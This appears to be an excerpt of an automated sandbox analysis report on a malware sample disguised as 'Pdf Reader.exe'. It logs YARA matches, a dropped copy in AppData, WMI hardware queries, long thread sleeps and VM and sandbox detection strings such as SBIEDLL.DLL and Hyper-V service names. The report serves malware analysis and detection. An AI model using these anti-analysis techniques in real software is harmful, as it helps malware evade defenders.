Source: Yara match	File source: 0000000E.00000002.2044553453.000001D980077000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2044553453.000001D98008A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2118787399.0000029F00088000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 4812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2123933976.0000029F73B7F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Pdf Reader.exe	Memory allocated: 16AEFBE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Memory allocated: 16AF1690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Memory allocated: 1D9ED940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Memory allocated: 1D9EF120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Memory allocated: 29F71880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Memory allocated: 29F73360000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 595186	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 595060	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe	Window / User API: threadDelayed 7211	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window / User API: threadDelayed 2559	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window / User API: foregroundWindowGot 1765	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Window / User API: threadDelayed 1312	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Window / User API: threadDelayed 2085	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Window / User API: threadDelayed 1706	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Window / User API: threadDelayed 1984	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99651s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99321s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99204s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99085s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -97983s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -97875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -595186s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -595060s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99434s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -99301s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98635s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98512s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe TID: 7436	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 3264	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 2504	Thread sleep count: 1312 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 2504	Thread sleep count: 2085 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 3264	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 3264	Thread sleep time: -598046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 7344	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 3068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 7584	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 7668	Thread sleep count: 1706 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 332	Thread sleep count: 1984 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 7584	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 7584	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 7624	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe TID: 2104	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99651	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99321	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99204	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99085	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98968	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98639	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98421	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 97983	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 97875	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 595186	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 595060	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99813	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99434	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 99301	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98635	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98512	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service0
Source: Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0017B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA 3D
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: !Hyper-V PowerShell Direct Service0
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80081000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D9800D0000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980135000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980117000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00103000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0017B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Video
Source: Pdf Reader.exe.0.dr	Binary or memory string: vmware
Source: Pdf Reader.exe.0.dr	Binary or memory string: vmicshutdown
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -Hyper-V Remote Desktop Virtualization Service0
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980135000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0017B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft hyper-v video
Source: Pdf Reader.exe.0.dr	Binary or memory string: vmicvss
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service0
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Time Synchronization Service0
Source: Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0017B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware svga 3d
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface0
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service0
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Info.txt.0.dr	Binary or memory string: VirtualMachine: False
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980179000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Volume Shadow Copy Requestor0
Source: Pdf Reader.exe, 0000000F.00000002.2123933976.0000029F73B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: W32TimeVolume Shadow CopyVSSHyper-V Volume Shadow Copy RequestorvmicvssHyper-V PowerShell Direct ServicevmicvmsessionHyper-V Time Synchronization ServicevmictimesyncHyper-V Guest Shutdown ServicevmicshutdownHyper-V Remote Desktop Virtualization ServicevmicrdvHyper-V Data Exchange ServicevmickvpexchangeHyper-V Heartbeat ServicevmicheartbeatHyper-V Guest Service InterfacevmicguestinterfaceVirtual DiskvdsCredential ManagerVaultSvcVolumetric Audio Compositor ServiceVacSvcUpdate Orchestrator ServiceUsoSvcUser ManagerUserManagerUPnP Device HostupnphostRemote Desktop Services UserMode Port RedirectorUmRdpServiceUser Experience Virtualization ServiceUevAgentServiceAuto Time Zone UpdatertzautoupdateWindows Modules InstallerTrustedInstallerRecommended Troubleshooting Servi
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	Binary or memory string: VirtualMachine:
